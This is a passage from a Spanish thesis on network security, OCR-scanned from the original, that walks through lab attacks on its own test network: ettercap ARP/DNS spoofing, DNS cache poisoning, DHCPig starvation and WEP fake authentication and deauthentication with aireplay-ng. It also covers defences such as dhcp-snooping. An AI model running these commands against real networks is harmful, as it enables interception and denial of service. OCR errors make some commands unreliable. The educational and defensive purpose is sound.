1° [Usuario “root”] Se configuran las tarjetas de red correspondientes acorde al esquema, es decir:

e [Equipo ‘S’]

ip a flush dev ethe

ip a add 10.10.1.2/24 dev ethe

ip 1 set ethe up

ip a 1s dev ethe

e [Equipo ‘C’]

ip a flush dev ethe

ip a add 10.10.1.9/24 dev ethe

ip 1 set ethe up

ip a 1s dev ethe

e [Equipo ‘A’]

ip a flush dev ethl

ip a add 10.10.1.6/24 dev ethl

ip 1 set ethl up

ip a 1s dev ethl
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e [Equipo ‘D’]
ip a flush dev ethe
ip a add 10.10.1.4/24 dev ethe
ip 1 set ethe up
ip a 1ls dev etheo
2° [Equipo ‘S’, usuario “root”] Se arranca el servidor web Apache con la pagina por defecto:
service httpd start

3° [Equipo ‘D’, usuario “root”] Se configura y arranca el servidor DNS named para que el equipo ‘C’ pueda
acceder a la web alojada en ‘S’ utilizando el alias “servidor.tfgpractica.com”. Para ello:

e Se modifica o crea, si no existiera, el archivo principal de configuraciéon de named:

/etc/named.conf

options {

listen-on port 53 {127.0.0.1;10.10.1.4;};

directory “/var/named”;

dump-file “/var/named/data/named_stats.txt”;
statistics-file “/var/named/data/named_mem_stats.txt”;
allow-query {localhost;10.10.1.0/24;};

allow-transfer {none;};

}s

include “/etc/named/named.conf.local”;

e Semodifica o crea, si no existiera, el archivo local de configuracion de named en la ruta indicada por la
sentencia “include” del archivo anterior:

/etc/named/named.conf.local

zone “tfgpractica.com”{
type master;

file “/etc/named/zones/db.tfgpractica.com”;

}s

e Secrea el archivo que contiene la informacion relativa al namespace “tfgpractica.com”, el cual contiene
la direccion IP hacia “servidor.tfgpractica.com™:

/etc/named/zones/db.tfgpractica.com

@ IN SOA nsl.tfgpractica.com. admin.tfgpractica.com. (
1; Serial
604800; Refresh
86400; Retry
2419200; Expire
604800; Negative cache TT

)
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; Registros NS
IN NS nsl.tfgpractica.com.
; Registros A

nsl.tfgpractica.com. IN A 10.10.1.4

servidor.tfgpractica.com. IN A 10.10.1.2

e Antes de lanzar el servicio named, es conveniente comprobar la correcta sintaxis de los archivos
modificados y creados:

named-checkconf

named-checkzone tfgpractica.com /etc/named/zones/db.tfgpractica.com

e Silas ejecuciones anteriores no devuelven nada o solo advertencias por omision de campos opcionales,
se puede proceder al lanzamiento de named. Para garantizar que los cambios surtan efecto, se puede
optar por reiniciarlo:

service named restart
4° [Equipo ‘C’, usuario “root”’] Para forzar el uso del servidor DNS local:

e Se elimina el demonio “avahi.daemon” para evitar el aprendizaje de las direcciones IP locales a través
de multicast:

service avahi-daemon stop

e Se sobreescribe el contenido del archivo encargado de recoger los solucionadores de nombres que
utiliza el equipo:

/etc/resolv.conf

‘ nameserver 10.10.1.4

5° [Equipo ‘C’, usuario “root”] Se ejecuta wireshark para comprobar los mensajes que se intercambian en el
proceso:

wireshark &
6° [Equipo ‘C’, usuario “dit”’] Se accede al contenido del servidor web alojado en ‘S’ mediante curi:

curl http://servidor.tfgpractica.com

3.5.2.2 Objetivo del ataque: DoS del servidor ‘S’ y MitM

1° [Equipo ‘A’, usuario “root”] Se modifican los archivos que utiliza la herramienta etfercap para realizar el
ataque:
e Se otorgan permisos “root” para poder operar en el puerto 53 cambiando los valores ec uid y ec gid a
‘0’ (usuario “root”). El resto del archivo permanece inalterado:

/etc/ettercap/etter.conf

[..]
ec_uid = 0
ec_gid = 0
[..]

e Seindican los registros A que eftercap debe falsear, afiadiéndose al final del archivo:
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/etc/ettercap/etter.dns

[..]
servidor.tfgpractica.com A 10.10.1.6

* . tfgpractica.com A 10.10.1.6

2° [Equipo ‘A’, usuario “root”] Una vez modificados los archivos, se lanza ettercap para que envenene las tablas
ARP de ‘C’ y ‘D’ y responda a la peticion DNS cuando llegue:

ettercap -T /10.10.1.4// /10.10.1.9// -P dns_spoof -M arp
3° [Equipo ‘C’, usuario “dit”’] Se intenta acceder a la pagina web alojada en ‘S’:
curl http://servidor.tfgpractica.com

Con wireshark se puede comprobar como la resolucion del nombre servidor.tfgpractica.com es respondido por
‘A’ (10.10.1.6) en lugar de ‘D’ (10.10.1.4), y devuelve como resultado la direccion de ‘A’ y no el servidor web
legitimo de ‘S’ (10.10.1.2).

3.5.2.3 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.2.3.

3.5.2.4 Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.2.4.
3.5.3 Envenenamiento de la caché

3.5.3.1  Preparacion del escenario

Para este ataque, replicamos el escenario del apartado anterior (3.5.2.1). Sin embargo, ahora el equipo ‘D’ actia
como solucionador de nombres para ‘C’, y ‘S’ aloja un servidor web y uno DNS autoritativo para su propio
dominio.

1° [Usuario “root”] Se establecen las direcciones IP acorde al esquema del apartado 3.5.2.1 siguiendo el propio
paso 1°.

2° [Equipo ‘S’, usuario “root”] Se arranca el servidor web Apache con la pagina por defecto:
service httpd start

3° [Equipo ‘D’, usuario “root”] Se configura y arranca el servidor DNS named para que se comporte como un
solucionador de nombres.

e Semodifica o crea, si no existiera, el archivo principal de configuracion de named:

/etc/named.conf

options {

listen-on port 53 {127.0.0.1;10.10.1.4;};

directory “/var/named”;

dump-file “/var/named/data/named_stats.txt”;
statistics-file “/var/named/data/named_mem_stats.txt”;
allow-query {localhost;10.10.1.0/24;};

recursion yes;

forwarders {10.10.1.2;};

max-cache-ttl 300;

88




Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 89

max-ncache-ttl 300;
¥

4° [Equipo ‘S’, usuario “root”] De manera andloga al paso 3° del apartado 3.5.2.1, se configura y arranca el
servidor DNS named para que el equipo ‘C’ pueda acceder a la web alojada en ‘S’ utilizando el alias
“servidor.tfgpractica.com”. Para ello:

e Se modifica o crea, si no existiera, el archivo principal de configuracion de named:

/etc/named.conf

options {

listen-on port 53 {127.0.0.1;10.10.1.2;};

directory “/var/named”;

dump-file “/var/named/data/named_stats.txt”;
statistics-file “/var/named/data/named_mem_stats.txt”;
allow-query {localhost;10.10.1.0/24;};

allow-transfer {none;};

};

include “/etc/named/named.conf.local”;

e Se modifica o crea, si no existiera, el archivo local de configuracion de named en la ruta indicada por la
sentencia “include” del archivo anterior:

/etc/named/named.conf.local

zone “tfgpractica.com”{
type master;

file “/etc/named/zones/db.tfgpractica.com”;

}s

e Secrea el archivo que contiene la informacion relativa al namespace “tfgpractica.com”, el cual contiene
la direccion IP hacia “servidor.tfgpractica.com™:

/etc/named/zones/db.tfgpractica.com

@ IN SOA nsl.tfgpractica.com. admin.tfgpractica.com. (
1; Serial
604800; Refresh
86400; Retry
2419200; Expire
604800; Negative cache TT

)

; Registros NS
IN NS nsl.tfgpractica.com.
; Registros A

nsl.tfgpractica.com. IN A 10.10.1.2
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| servidor.tfgpractica.com. IN A 10.10.1.2

e Antes de lanzar el servicio named, es conveniente comprobar la correcta sintaxis de los archivos
modificados y creados:

named-checkconf

named-checkzone tfgpractica.com /etc/named/zones/db.tfgpractica.com

o Silas ejecuciones anteriores no devuelven nada o solo advertencias por omision de campos opcionales,
se puede proceder al lanzamiento de named. Para garantizar que los cambios surtan efecto, se puede
optar por reiniciarlo:

service named restart
5° [Equipo ‘C’, usuario “root”] Para forzar el uso del servidor DNS local:

e Se elimina el demonio “avahi-daemon” para evitar el aprendizaje de las direcciones IP locales a través
de multicast:

service avahi-daemon stop

e Se sobreescribe el contenido del archivo encargado de recoger los solucionadores de nombres que
utiliza el equipo:

/etc/resolv.conf

‘ nameserver 10.10.1.4

6° [Equipo ‘C’, usuario “root”] Se ejecuta wireshark para comprobar los mensajes que se intercambian en el
proceso:

wireshark &
7° [Equipo ‘C’, usuario “dit”] Se accede al contenido del servidor web alojado en ‘S’ mediante curi:
curl http://servidor.tfgpractica.com

Si se vuelve a realizar el paso 7°, se comprueba cdmo el tiempo de respuesta es ligeramente mas rapido. Esto se
debe a que ‘D’ ha almacenado en la caché la respuesta que ha recibido por parte de “S’.

8° [Equipo ‘D’, usuario “root”] Se comprueba el contenido de la caché:
e Se vuelcan los datos de la memoria:
rndc dumpdb -cache
e Se inspecciona la caché:

cat /var/named/data/cache_dump.db

; answer
servidor.tfgpractica.com. 169 IN \-AAAA ; -SsNXRRSET
tfgpractica.com. S0A nsl.tfgpractica.com. admin.tfgpractica.com. 1 604800 86400 2419200 604800

; authanswer
169 IN A 10.10.1.2

Figura 3-33. Extracto del fichero de la caché DNS

e Por ultimo, se vacia la memoria caché y se reinicia bind:
rndc flush

rndc reload

3.5.3.2 Objetivo del ataque: DoS de los servidores ‘S’ y ‘D’

Envenenando la caché de ‘D’ se consigue que todo equipo que utilice ‘D’ como solucionador de nombres reciba
informacion falsa sobre “servidor.tfgpractica.com” y, por consecuencia, ‘S’ no reciba peticiones.
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1° [Equipo ‘A’, usuario “root”] Se modifican los archivos que utiliza la herramienta ettercap para realizar el
ataque:
e Se otorgan permisos “root” para poder operar en el puerto 53 cambiando los valores ec uid y ec_gid a
‘0’ (usuario “root”). El resto del archivo permanece inalterado:

/etc/ettercap/etter.conf

[..]
ec_uid = @
ec_gid = 0
[..]

e Seindican los registros A que eftercap debe falsear, anadiéndose al final del archivo:

/etc/ettercap/etter.dns

[..]
servidor.tfgpractica.com A 10.10.1.6

*.tfgpractica.com A 10.10.1.6

2° [Equipo ‘A’, usuario “root”] Una vez modificados los archivos, se lanza ettercap para que envenene las tablas
ARP de ‘D’ y ‘S’ e interfiera en la peticion:

ettercap -T /10.10.1.2// /10.10.1.4// -P dns_spoof -M arp
3° [Equipo ‘C’, usuario “dit”’] Se intenta acceder a la pagina web alojada en ‘S’:
curl http://servidor.tfgpractica.com

Con wireshark se puede comprobar como la resolucion del nombre servidor.tfgpractica.com es respondido por
‘A’ (10.10.1.6) en lugar de ‘D’ (10.10.1.4), y devuelve como resultado la direccion de ‘A’ y no el servidor web
legitimo de ‘S’ (10.10.1.2).

4° [Equipo ‘D’, usuario “root”] Se comprueba el contenido de la caché:
e Se vuelcan los datos de la memoria:
rndc dumpdb -cache
e Se inspecciona la caché:

cat /var/named/data/cache_dump.db

; answer
servidor.tfgpractica.com. 293 IN \-AAAA ;-$NXRRSET
; tfgpractica.com. SOA nsl.tfgpractica.com. admin.tfgpractica.com. 1 604800 86400 2419200 604800

; authanswer
293 IN A 10.10.1.6

Figura 3-34. Extracto del fichero de la caché¢ DNS envenenada
Como era esperado, la memoria caché de ‘D’ contiene la direccion de ‘A’ asociado a “servidor.tfgpractica.com”.
De no ser vaciada, el registro se mantiene vigente hasta pasados los segundos indicados en el campo max-cache-
tl.
3.5.3.3 Fortificacion
La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.2.3.

3.5.3.4 Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.2.4.
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3.5.4 DHCP Flooding/Starvation

3.5.41 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 con una configuracion alternativa:

1° [Usuario “root”] Se configuran las tarjetas de red del equipo ‘S’ y ‘G’, que tienen sus direcciones IP fijas. En
este escenario, los equipos ‘A’ y ‘C’ configuran sus direcciones mediante DHCP:

e [Equipo ‘S’]
ip a flush dev ethe
ip a add 10.10.1.2/24 dev etho
ip 1 set ethe up
ip a 1ls dev ethe
e [Equipos ‘A’y ‘C’]
ip a flush dev etho
ip 1 set etho up
ip a 1ls dev etheo
e [Equipo ‘G’]
ip a flush dev ethe
ip a add 10.10.24.24/24 dev ethe
ip 1 set etho up
ip a 1ls dev ethe
2° [Equipo ‘S’, usuario “root”] Se preparan los ficheros para el servidor DHCP:

e Paraun servidor sencillo que asigne las direcciones IP en un determinado rango (por ejemplo, desde la
10.10.1.5/24 hasta la 10.10.1.20/24), se modifica o crea, si no existiera, el archivo principal de
configuracion con el siguiente contenido:

/etc/dhcp/dhepd.conf

default-lease-time 600000000 ;
max-lease-time 720000000;

subnet 10.10.1.0 netmask 255.255.255.0 {
option broadcast-address 10.10.1.255;
range 10.10.1.5 10.10.1.20;

e Se crea un fichero de licencias vacias:
> /var/lib/dhcpd/dhcpd. leases
> /var/lib/dhcpd/dhcpd. leases~

e Se arranca el servidor DHCP. Para garantizar que los cambios surtan efecto, se puede optar por
reiniciarlo:

service dhcpd restart
3°[Consola conmutador] Se reserva la VLAN 24 y su correspondiente puerto para la gestion del conmutador:

(config)# management-vlan 24
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(config)# vlan 24 ip address 10.10.24.1/24
(config)# vlan 24 untagged 24
4° [Consola conmutador] Para que el conmutador pueda enviar los traps SNMP:
e Seactiva el modulo snmp-servery se indica la direccion a la que debe enviar los mensajes:
(config)# snmp-server enable

(config)# snmp-server host 10.10.24.24 community public trap-level all
5° [Equipo ‘G’, usuario “root”] Se inicia la aplicacion snmptrapd para recibir y registrar los traps:
e Se modifica el fichero de configuracion para que contenga las siguientes lineas:

/etc/snmp/snmptrapd.conf

[-.]
authCommunity log public

disableAuthorization yes

e Se lanza la aplicacion con los pardmetros pertinentes para que registre los mensajes recibidos en un
fichero:

snmptrapd -A -d -n -Lf /var/log/snmptrapd.log

e Opcionalmente, en una consola aparte se puede ejecutar el siguiente comando para leer los Gltimos traps
recogidos en el fichero .log. Se recomienda maximizar la ventana o reducir el nimero “del argumento
-n” para adaptarse al tamafio de la consola:

watch tail -n 25 /var/log/snmptrapd.log

3.54.2 Objetivo del ataque: DoS del servidor ‘S’

1° [Equipo ‘A’, usuario “root”] Se lanza la herramienta DHCPig para agotar la pool de direcciones del servidor
DHCP:

dhcpig etho

[INFO] - using interface etho
Thread @ - (Sniffer) READY
Thread 1 - (Sender) READY
DHCP_Discover
DHCP_Discover
ARP_Request 10.10.1.16 from
DHCP_Discover
ARP_Request 10.10.1.15 from il
ARP_Request 10.10.1.12 from i 1 s
[€—] DHCP_Offer 48:5b:39:ef:22: 0.0.0.0 IP: 10.10.1.12 for MAC=[de:ad:19:2f:e6:0d:00:00:00:0
0:00:00:00:00:00:00]
[—] DHCP_Request 10.10.1.12
[—— ] DHCP_Discover
[DBG ] ARP_Request 10.10.1.18 from .10.1.2
[¢—1] DHCP_Offer 48:5b:39:ef:22: 0.0.0.0 IP: 10.10.1.16 for MAC=[de:ad:00:31:5d:d3:00:00:00:0
0:00:00:00:00:00:00]
[—— ] DHCP_Request 10.10.1.16
[DBG ] ARP_Request 10.10.1.16 from 01,2
[—— ] DHCP_Discover
[DBG ] ARP_Request 10.10.1.17 from .10.1.2
[¢—] DHCP_Offer 48:5b:39:ef:22: 0.0.0.0 IP: 10.10.1.15 for MAC=[de:ad:07:22:24:d5:00:00:00:0
0:00:00:00:00:00:00]
[—] DHCP_Request 10.10.1.15

Figura 3-35. DHCPig agotando las direcciones del servidor DHCP
e  Tras unos segundos, DHCPig finaliza indicando que el ataque ha sido exitoso.

2° [Equipo ‘C’, usuario “root”] Se intenta solicitar una direccion [P mediante:
dhclient -I ethe
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Sin embargo, el equipo ‘C’ no es capaz de recibir una IP del servidor DHCP debido a que el atacante ‘A’ ha
agotado sus licencias.

3.5.4.3 Fortificacion

1° [Consola conmutador] Para activar la proteccion de ataques al protocolo DHCP:

o Se activa el modulo dhcp-snooping y se aplica en la VLAN por defecto:
(config)# dhcp-snooping
(config)# dhcp-snooping vlan 1

2° [Consola conmutador]| Se indica al conmutador que muestre por pantalla los paquetes que han sido rechazados
mediante dhcp-snooping:

(config)# debug security dhcp-snooping packet
(config)# debug destination session

3° [Consola conmutador] Se activa el envio de traps para cuando descarte algiin paquete con el modulo dhcp-
snooping:

(config)# snmp-server enable traps dhcp-snooping

3.5.4.4 \Verificacion de la defensa

Sien la VLAN 1 aparecen mensajes DHCP con direccion MAC origen y campo CHADDR no coincidentes, el
modulo dhcp-snooping descarta dichos paquetes al considerarlo malignos.

POOO:00:48:32.16 DSNP mIpPktRecv:DHCP DISCOVER: port
485B39-EE7COB lease time 10000 seconds, drop: mac ch, chaddr:

DEAD OEFB2.

DOO0:0C 3:32.60 DSNP mIpPktRecv:DHCP DISCOVER: port 6, vid 1, from
485B EE7COB lease time 10000 , drop: mac addt mismatch, chaddr:
DEADO1-0O5F7CB.

Figura 3-36. Mensaje debug de paquetes descartados por el modulo dhcp-snooping
1° [Consola conmutador] Una vez aparezcan los mensajes, se detiene la impresion:
(config)# no debug all

2° [Consola conmutador] Adicionalmente, se puede inspeccionar los registros (logs) guardados tras la defensa
del ataque. Opcionalmente, para mostrar los Gltimos registros primero y los mensajes de nivel warning (como
lo son en este caso), se afiaden las opciones entre corchetes:

# show logging [-r] [-w]
W 01/01 9 dhcp-snoop: backplane: Ceasing client address mismatch

W 01/01/90 00: 3 8 dhcp-snoc ack ne: client addres
- F-36T7/b8 detected on

Figura 3-37. Registros de paquetes descartados por el modulo dhcp-snooping

3° [Equipo ‘G’, usuario ‘root’] Se comprueba en la consola donde se muestra la informacion del fichero .log
codmo ha aparecido un nuevo trap:

2024-04-24 16:24:22 10.10.24.1(via UDP: [10.10.24.1]:161->[10.10.24.24]:162) TRAP, SNMP v1, community public
SNMPv2-SMI::enterprises.11.2.3.7.11.129 Enterprise Specific Trap (2) Uptime: 0:48:19.84

RMON-MIB: :eventDescription.858 = STRING: W 01/01/90 00:48:33 00858 dhcp-snoop: backplane: client address 485b39-ee7cOb
not equal to source MAC dead0@f-3677b8 detected on port 6

Figura 3-38. Trap de paquete descartado con dhcp-snooping
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4 ATAQUES REALIZADOS SOBRE ESCENARIOS
INALAMBRICOS

indicandose los pasos a seguir en cada equipo. Igualmente, las herramientas de ataque que aparecen en los

Los ataques relativos a los cifrados Wi-Fi se recogen en este capitulo de forma andloga al anterior,
siguientes apartados se recopilan en el Anexo A.

4.1 Notacién y esquema general de los escenarios inalambricos

Para los ataques del apartado 2.5 no se requiere el uso del conmutador, sino del punto de acceso (AP). En estos
escenarios, el esquema se simplifica:

Figura 4-1. Esquema de red genérico inalambrico

Para otorgar conectividad inalambrica a los equipos ‘A’ y ‘C’ se han utilizado adaptadores USB Wi-Fi. El uso
de direcciones IP no es tan frecuente en los ataques a redes WLAN al tratarse, en su mayoria, de ataques a nivel
de enlace. Es por ello por lo que se ha optado por dejar la configuracion por defecto de las direcciones IP del
AP. Como muchos de los puntos de acceso comerciales, la red tiene la direccion 192.168.0.0/24, reservando la
192.168.0.1 para el AP y comenzando su pool de direcciones DHCP a partir de 1a 192.168.0.100. De esta forma,
en caso de que el ordenador tuviera alguna direccion IP asignada a alguna interfaz Ethernet, se garantiza que las
direcciones no se solapan entre escenarios cableados e inalambricos.

Dispositivo Fabricante Modelo
Punto de acceso D-Link Wireless AC750 Dual Band
Router
Adaptador USB Wi-Fi D-Link DWA-160

Tabla 4-1. Resumen de dispositivos inalambricos utilizados
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Ataques realizados sobre escenarios inalimbricos

4.2 Ataques sobre Wi-Fi
Atacue Protocolo Nivel TLoerado? Herramientas de
d empleado victima/defensa ¢-ogrado ataque utilizadas
Si airmon-ng,
Falsa autenticacion WEP L2/L2 Adaptacion de airodump-ng,
ataque [70] aireplay-ng
Si _ o]
ChopChop WEP L2/12 Adaptacionde | e
ataque [70]
Si . .
Fragmentacion WEP L2/1.2 Adaptacion de alrmon-nféalrep "
ataque [69] [70]
Si airmon-ng,
Inyeccion WEP L2/1.2 Adaptacién de packetforge-ng,
ataque [70] aireplay-ng
Si airmon-ng,
PTW/Korek/FMS WEP L2/L2 Ampliacion de airodump-ng,
ataque [69] [70] aircrack-ng
Beck & Tews’ « .
improved attack WPA L2/1L.2 No tkiptun-ng
KRACK WPA2 L2/1.2 No** krackattacks-scripts
Si hxcdumptool,
Ataque PMKID WPA2 L2/L.2 Adaptacién de hexpcapngtool,
ataque [69] [70] hashcat
Transicion WPA3:
degradacion y ataque | WPA2, WPA3 L2/1.2 No*** -
de diccionario
Degradacion fiel grupo WPA3 L2/10 No## i
de seguridad
Ataque de obstruccion -
A WPA3 WPA3 L2/L.2 No -
Ataque Slde-Channel WPA3 L2122 No##* i
basado en tiempo
A de fu .
taque de tuerza . . ) .
bruta/diccionaio WPA2 L2/L2 Adaptacién de airmon-ng, wifite

ataque [69] [70]
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Atacue Protocolo Nivel Realizado? Herramientas de
d empleado victima/defensa & i ataque utilizadas
Si _
Ataque sobre WPS WPA2 L2/1.2 Ampliacion de alrmorne—grllvgérwash,
ataque [69] [70]
Si
Hole 196 WPA2 L3/L2 Adaptacién de ettercap
ataque [69] [70]

Tabla 4-2. Ataques realizados sobre cifrados Wi-Fi

* Beck & Tews’ improved attack: 1a inica herramienta disponible para llevar a cabo este ataque (tkiptun-ng) se
encuentra todavia incompleta: desde su documentacion en [70], tkiptun-ng no ha recibido actualizaciones. No
obstante, se ha intentado replicar para probarla, pero sin éxito. En el Anexo C se incluyen los pasos seguidos y
el resultado esperado.

** KRACK: el ataque de reinstalacion de claves con la herramienta proporcionada por el propio descubridor,
Mathy Vanhoef, ha dado resultados negativos con varios dispositivos probados al igual que lo documentado en
[69] ¥ [70]. La mayoria de los dispositivos y sistemas operativos, ante las advertencias del propio Vanhoef,
fueron parcheados hasta en dos ocasiones para evitar el ataque [43]. Algunos AP ofrecen contramedidas para
KRACK, evitando la retransmision del tercer mensaje del handshake, pero esta opcion no esta disponible en el
punto de acceso utilizado en este proyecto. El Anexo C incluye mas informacion sobre como se ha intentado
ejecutar el ataque.

**% Ataques sobre WPA3 (Transicion WPA3, degradacion del grupo de seguridad, obstruccion, Side-Channel
basado en tiempo): las herramientas ofrecidas por los descubridores de estas vulnerabilidades, al igual que lo
indicado con tkiptun-ng, se encuentran todavia sin finalizar y su documentacion es escasa o nula. Ademas, los
dispositivos inalambricos empleados para realizar este documento no soportan el cifrado WPA3.

421 Falsa autenticacién (WEP)

4211 Preparacion del escenario

1° [Equipo ‘C’, usuario “dit”] Con las credenciales de acceso que indica el AP, se accede al menu de
configuracion desde un navegador:

e Previamente, se conecta el equipo a lared WLAN. Si fuera necesario, se conecta via USB un adaptador
Wi-Fi para tener conectividad inalimbrica en el equipo. El campo XXX se corresponde con el valor de
la clave:

nmcli d wifi connect dlink-919C password XXX
e Una vez conectado a lared, se accede a la configuracion del punto de acceso y, tras autenticarse con los
valores indicados por la tarjeta de configuracion del AP, se configura el campo “Wireless Security

Mode” con el valor “WEP”. Este subment se encuentra en el apartado SETUP > SETTINGS >
MANUAL WIRELESS CONNECTION SETUP:
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(o I I N -+ ] rowein | o0 s
INTERNET
Ricisod iU - [
|
WIRELESS SETTINGS

NETWORK SETTINGS Use this section to configure the wireless settings for your D-Link router. Please note that changes
[P e—— | Before launching these wizards, please make sure you have followed all steps outlined in the Quick NETWORK SETTINGS made in this section may also need to be duplicated on your wireless client.
Installation Guide included in the package. | | | T protect your privacy you can configure wireless security features. Securing your wireless network

is important as it is used to protect the integrity of the information being transmitted. The router is
oEvice Hooe capable o 4 types of wirles securty; WE, WPA only, WPAZ ony, and WPA/WPAZ (auto-detec).
s

WIRELESS NETWORK SETTINGS

Wireless Band : 2.4GHz Band

Enable Wireless : [Aways v ] m@ﬁ“

Wireless Network Name : [ giink-915C | (lso called the SSID)
802.11 Mode : tixed 502.11g and 802.115 v
Enable Auto Channel Scan :
Wireless Channel : 12 v
Transmission Rate : [ 8est (automatic) v | (Mbit/s)
Channel Width : 30 MHz{Auto) v

The following Web-based wizards are designed to assist you in your wireless network setup and
wireless device connection.

1PV6
| oEvice MoDE

This wizard Is designed to assist you in your wireless network setup. It will guide you through step-
by-step instructions on how to set up your wireless network and how to make 1t secure,

Wireless Connection Setup Vizard |

Note:Some changes made using this Setup Wizard may require you to change some settngs on
your wireless client adapters so they can still connect to the D-Link Router.

ADD WIRELESS DEVICE WITH WPS (WI-FI PROTECTED SETUP) WIZARD

This wizard is designed to assist you in connecting your wireless device to your wireless router, It
will guide you through step-by-step instructions on how to get your wireless device connected. Click
the button below to begin.

["Add Wireless Device with WP |

MANUAL WIRELESS NETWORK SETUP

1f your wireless network 1s already set up with Wi-Fi Protected Setup, manual configuration of the
wireless network will destroy the existing wireless network. If you would like to configure the

wireless settings of your new O-Link Systems Router manually, then click on the Manual Wireless
Network Setup button below. WIRELESS SECURITY MODE

[ Manual wieeless Connection Setup |

Visibility Status : @ yisible () Invisible

Security Mode : [wep v

Figura 4-2. Menu de configuracion del AP

e Se escoge longitud de clave, método de autenticacion (clave precompartida y abierta, o solo con clave)
y contrasefia. Para este escenario, la eleccion de estos campos no resulta especialmente relevante. Un
ejemplo de configuracion sencilla se muestra en la Figura 4-3:

WEP is the wireless encryption standard. To use it you must enter the same key(s) into the router

and the wireless stations. For 64-hit keys you must enter 10 hex digits into each key box. For 128-
bit keys you must enter 26 hex digits into each key box. A hex digit is either a number from 0 to @
or a letter from A to F For the most secure use of WEP set the authentication type to "Shared Key”
when WEP is enabled.

You may also enter any text string into @ WEP key box, in which case it will be converted into a
hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can be
entered for 64-bit keys, and a maximum of 13 characters for 128-bit keys.

If vou choose the WEP security option this device will ONLY operate in Legacy Wireless mode
(802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not
supported by the Draft 11N specification.

WEP Key Length : | 64 bit (10 hex digits) | (length applies to all keys)
Authentication :
wep Ker 1

Figura 4-3. Configuraciéon WEP basica
e  Se finaliza la configuracion bajando hasta el final del menu y seleccionando Save Settings.
2° [Equipo ‘C’, usuario “dit”] Cuando terminen de aplicarse los cambios, se reconecta el equipo a la red:

e Esnecesario eliminar los datos de la conexion anterior para que nmcli no los reutilice:

nmcli con del dlink-919C

e El equipo ya puede conectarse nuevamente con:

nmcli d wifi connect dlink-919C password abcde

4.21.2 Objetivo del ataque: Infiltracion en la red

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inalimbrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:

airmon-ng check kill
e  Se activa la monitorizacion:
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airmon-ng start wlane

e Hasta que se detenga, la interfaz inalambrica cambia de nombre para indicar su estado: ya no es
“wlan0”, sino “wlanOmon”. Esto es comprobable con:

<BROADCAST ,ALLMULTT , PROMISC,NOTRATLERS ,UP, LOWER_UP> mtu 1508 qd

UNENOWN mode DEFAULT group default glen 1080
.11/radiotap 5c:d9:98:bk as brd ff:ff:ff:ff:ff:Ff

Figura 4-4. Interfaz inalambrica en modo monitorizacion

2° [Equipo ‘A’, usuario “root”] Se comprueba la direccion MAC del punto de acceso al que nos queremos
autenticar:

e  Con airodump-ng se comprueba qué redes inalambricas estan al alcance del dispositivo:
airodump-ng wlan@mon
CH 1 ][ Elapsed: 2 mins ][ 2 2-04 11:40
BSSID PWR RXQ Beacons #Data, #/s C B ENC CIPHER AUTH ESSID
34:PA:33:87:91:9D -26 100 1261 33934 369 542 WEP  WEP dlink-919C

BS5ID STATION PWR

34:0A E SC:D9:98:BB:84:AT -46
Figura 4-5. Redes y equipos detectados con airodump-ng

e Una vez se encuentra el ESSID de la red objetivo, se para y se vuelve a ejecutar indicando el canal en
el que emite (en este caso, el canal 1):

airodump-ng -c 1 wlan@mon
¢ Finalmente, se copia su direccion MAC (BSSID) y se ejecuta:
aireplay-ng -1 @ -e dlink-919C -a DIRECCION_MAC_AP wlan@mon

3° [Equipo ‘A’, usuario “root”] Se comprueba como el equipo aparece como conectado en la red dlink-919C.
Sabiendo su BSSID, la busqueda con airodump-ng se puede afinar con:

airodump-ng --bssid DIRECCION_MAC_AP wlan@mon
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

-55 100 199 101 2 9 54 WEP WEP OPN dlink-919C

STATION PWR Rate Lost Frames MNotes Probes

e -1 (i}
54 -18 @ 85

Figura 4-6. Atacante autenticado al punto de acceso
4.2.1.2.1 Autenticacion con método PSK

Como se explica en el apartado 2.5.1.1.1, 1a falsa autenticacion puede requerir la captura de un handshake entre
un cliente legitimo y el AP si se fuerza el método de autenticacion de clave compartida. No obstante, la seguridad
no se ve incrementada por este método y, por defecto, coexisten ambas alternativas.

1° [Equipo ‘C’, usuario “dit”’] Se configura el AP para que la autenticacion sea mediante clave compartida.
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WEP is the wireless encryption standard. To use it you must enter the same key(s) into the router

and the wireless stations. For 64-bit keys you must enter 10 hex digits into each key box. For 128-
bit keys you must enter 26 hex digits into each key box. A hex digit is either 2 number from 0to 9

or a letter from A to . For the most secure use of WEP set the authentication type to "Shared Key”
when WEP is enabled.

You may also enter any text string into 3 WEP key box, in which case it will be converted into a
hexadedmal key using the ASCII values of the characters. & maximum of 5 text characters can be
entered for 84-bit keys, and a maximum of 13 characters for 128-bit keys.

If you choose the WEP sacurity option this device will ONLY operate in Legacy Wireless mode
(802.11B/G). This means yvou will NOT get 11N performance due to the fact that WEP is not
supportad by the Draft 11N specification.

WEP Key Length : [ 64 bit (10 hex digits)
Authentication :

(length applies to all keys)

Figura 4-7. Cifrado WEP con autenticacion Shared Key

2° [Equipo ‘A’, usuario “root”] Se repiten los pasos 1 y 2 del apartado anterior (4.2.1.2). Se comprueba cémo
no es posible la falsa autenticacion al faltar informacion sobre la clave precompartida.

1iding Authentic
i ion 1/2

red Key) [ACK]

Figura 4-8. Fallo en la autenticacion con clave precompartida
3° [Equipo ‘A’, usuario “root”] Se captura el handshake para poder autenticarse:

e Se guardan las tramas capturadas en la monitorizacion para poder extraer el handshake. No debe
cerrarse hasta que no se finalice el siguiente punto:

airodump-ng --bssid DIRECCION_MAC_AP -w resultados_fakeauth_sh wlan@mon

e En una consola aparte se lanza un ataque de deautenticacion contra los clientes conectados a la red,
forzandolos a realizar nuevamente el handshake:

aireplay-ng -0 1 -a DIRECCION_MAC_AP wlan@mon

e Cuando el cliente se vuelva a autenticar, en la consola donde airodump-ng se esta ejecutando se
comprueba como debajo del campo “AUTH” aparece “PSK”, indicando que se ha recogido el
